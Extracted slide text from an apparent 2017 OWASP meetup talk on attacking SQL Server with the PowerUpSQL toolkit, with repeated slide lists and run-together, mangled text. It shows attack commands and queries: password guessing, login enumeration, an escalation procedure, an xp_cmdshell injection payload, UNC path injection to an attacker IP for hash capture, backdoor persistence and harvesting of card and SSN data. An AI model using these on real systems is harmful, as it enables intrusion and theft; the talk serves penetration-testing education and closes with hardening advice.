  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 17: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 18: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

